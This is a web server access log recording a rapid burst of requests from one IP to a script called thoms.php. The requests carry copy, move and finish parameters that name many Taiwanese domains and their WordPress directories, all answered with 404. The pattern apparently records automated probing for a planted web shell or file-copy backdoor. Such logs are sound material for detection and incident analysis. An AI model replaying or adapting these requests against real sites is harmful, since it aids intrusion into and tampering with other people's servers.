45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:36 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:37 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:38 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:39 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:40 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
